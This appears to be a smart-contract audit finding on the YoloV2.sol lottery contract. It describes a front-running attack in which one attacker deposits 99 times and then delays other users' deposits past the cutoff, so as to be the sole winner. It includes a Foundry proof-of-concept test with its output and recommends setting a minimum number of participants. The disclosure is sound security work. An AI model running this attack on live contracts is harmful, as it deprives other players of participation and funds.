YoloV2::Front-run enables an attacker to be only player in a round

Summary

Attacker can front-run a user and successfully become only player in a particular round.

Vulnerability Detail

In YoloV2.sol contract there is a restriction that 1 player cannot fill up one round, and the limit of maximum number of deposit per round is 100. However, one user can deposit 99 times. An attacker can utilize this behavior and keep front running the second user's transaction until the cutoffTime is reached, after cuttoffTime second user's transaction will not be accepted and attacker will be only one player in a round. We can visualize this scenario like this:

Round is open.

1. Attacker came and did 99 deposit continuously.
2. Now attacker knows that he can't deposit 100th time because it is not allowed in protocol.
3. Attacker saw the second user's transaction in mempool.
4. Attacker knows now his all transaction will be reverted. 5.vAttacker started front-running him until the cutoffTime has reached.
5. The second user's transaction keeps delaying.
6. Once the cutoffTime has reached the second user's transaction will be rejected. So now attacker is only one participant in the round and he will be rewarded. To test this scenario run this:

```
function test_depositFrontrun() public {
        vm.deal(user2, 10 ether);
        vm.startPrank(user2);
// @audit Attacker deposited 99 times
        for (uint i = 0; i < 99; i++) {
            yolo.deposit{value: 0.01 ether}(1, _emptyDepositsCalldata());
        }

        console.log("cuttoffTime after attcker's  1st deposit:",
_getCutoffTime(1));
        console.log("currrentTime before attacker's 2nd call:",
block.timestamp);
//@audit now attacker started front-running the second user
        for (uint i = 0; i < 200; i++) {
            vm.warp(block.timestamp + 5);

            vm.expectRevert();
            yolo.deposit{value: 0.01 ether}(1, _emptyDepositsCalldata());
        }
        console.log("current time:", block.timestamp);
        vm.stopPrank();
        vm.deal(user3, 10 ether);
```

```
        vm.prank(user3);
//@audit Second user transaction will be reverted
        vm.expectRevert();
        yolo.deposit{value: 10 ether}(1, _emptyDepositsCalldata());
//@audit we can verify that the number of participants in round-1
        (,,,,,uint participants,,,,) = yolo.getRound(1);
        assertEq(participants, 1);
    }
```

The result is:

```
Running 1 test for test/foundry/Yolo.deposit.t.sol:Yolo_Deposit_Test
[PASS] test_depositFrontrun() (gas: 14434565)
Logs:
  cuttoffTime after attcker's  1st deposit: 1697639495
  currrentTime before attacker's 2nd call: 1697638895
  current time: 1697639895

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 979.32ms
```

This is how an attacker can manipulate the system.

Impact

An attacker can front-run a user to become only one participant in a round and get rewarded.

Tool used

Manual Review, Foundry

Recommendation

The minimum number of participants in a round need to be set.